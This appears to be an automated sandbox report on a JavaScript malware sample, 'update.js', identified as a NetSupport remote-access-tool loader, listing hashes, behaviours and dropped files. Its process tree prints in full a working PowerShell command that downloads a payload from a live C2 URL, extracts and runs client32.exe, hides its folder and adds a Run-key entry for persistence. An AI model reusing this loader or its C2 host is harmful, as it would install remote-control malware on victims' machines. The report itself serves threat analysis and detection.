Analysis
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max time kernel
93s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
29/01/2024, 18:18
Static task
static1
Behavioral task
behavioral1
Sample
update.js
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
update.js
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
update.js
Resource
win11-20231222-en
General
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Target
update.js
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Size
114KB
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MD5
1e5517d4390ea9cf0a97bc08a88ce8f9
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SHA1
75ab46b29fb2a43710cee16f6947dc31763921ca
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SHA256
7a153e840b1e15b0ca6f9c99072fb34efc759c6f96e24b1c01d8cfc1b5cf9e78
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SHA512
354d548f71853a127d993285b97420e7c89cef1526535d9d0bb058a798b4accd9c0d98fe13b4bfb45452beb1c8a7b8254723ebe2ad50fe18dceeab61bf28036f
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SSDEEP
1536:AlarcxElarcxElarcxRlarcx4QNlarcxElarcxElarcx8larcxElarcxElarcxu:ADxEDxEDxRDxxDxEDxEDx8DxEDxEDxu
Malware Config
Extracted
https://ghostcitygames.com/data.php?8788
https://ghostcitygames.com/data.php?8788
Signatures
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NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
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Blocklisted process makes network request 1 IoCs
flow pid Process 4 4368 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
pid Process 4668 client32.exe -
Loads dropped DLL 6 IoCs
pid Process 4668 client32.exe 4668 client32.exe 4668 client32.exe 4668 client32.exe 4668 client32.exe 4668 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-282\\client32.exe" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4368 powershell.exe 4368 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4368 powershell.exe Token: SeSecurityPrivilege 4668 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4668 client32.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 552 wrote to memory of 4368 552 wscript.exe 65 PID 552 wrote to memory of 4368 552 wscript.exe 65 PID 4368 wrote to memory of 4668 4368 powershell.exe 88 PID 4368 wrote to memory of 4668 4368 powershell.exe 88 PID 4368 wrote to memory of 4668 4368 powershell.exe 88
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\update.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $ZPGikOnkUuHvqwFnjEsZUbNjyHqeW='https://ghostcitygames.com/data.php?8788';$SoBseWjQCbXsIdUcIgcz=(New-Object System.Net.WebClient).DownloadString($ZPGikOnkUuHvqwFnjEsZUbNjyHqeW);$bJaQgoixMmUUWVGctFLemiVGAtKDe=[System.Convert]::FromBase64String($SoBseWjQCbXsIdUcIgcz);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $WLUWUqgepgVRefnUu=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $WLUWUqgepgVRefnUu -PathType Container)) { New-Item -Path $WLUWUqgepgVRefnUu -ItemType Directory };$p=Join-Path $WLUWUqgepgVRefnUu 'lol.zip';[System.IO.File]::WriteAllBytes($p,$bJaQgoixMmUUWVGctFLemiVGAtKDe);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WLUWUqgepgVRefnUu)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $WLUWUqgepgVRefnUu 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $WLUWUqgepgVRefnUu -Force; $FSDFSSD.attributes='Hidden';$s=$WLUWUqgepgVRefnUu+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4368 -
C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4668
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
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Filesize
258B
MD51b41e64c60ca9dfadeb063cd822ab089
SHA1abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4
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Filesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
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Filesize
1.7MB
MD5501176e2f694043141c68966d7c6306e
SHA1c8d2733d2e40e89beb66dda9a7f4e05361ed4eef
SHA256724f8dcba0a968f2bd96f845ffe85a68382ba9f14db570ea0b52065b53b2f19c
SHA512a1fd89bbadadb14bf0c80252b787f50ec5da3632ccd67285ff0fe2a0398ccc3aaade07b87b242a2f68de9e20a92faa7d9ec31839d3ae85f60b6726120bec051b
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Filesize
2.5MB
MD5085a6374f81e22567507abbcaac29a59
SHA1057f9483e2a368d08d1f40218e8123e5accf552f
SHA2565231105a9abe4f03031725363be1689a1be61fd122e854b23524b5c1fac6bb5c
SHA512e51fd51f465564c58a49d7bec4fa6274bcca3985e2e8371bf6265de58da3365d82d40e3833285ff8e32a700ab26da18769677a9cb1ef2fc9665ace795f547688
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Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
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Filesize
701B
MD598043670d8c850e878e333312fcfa25a
SHA1dc795e8b906d70ee5854a6797e0c1557375bc443
SHA2560e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA51213295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201
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Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
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Filesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2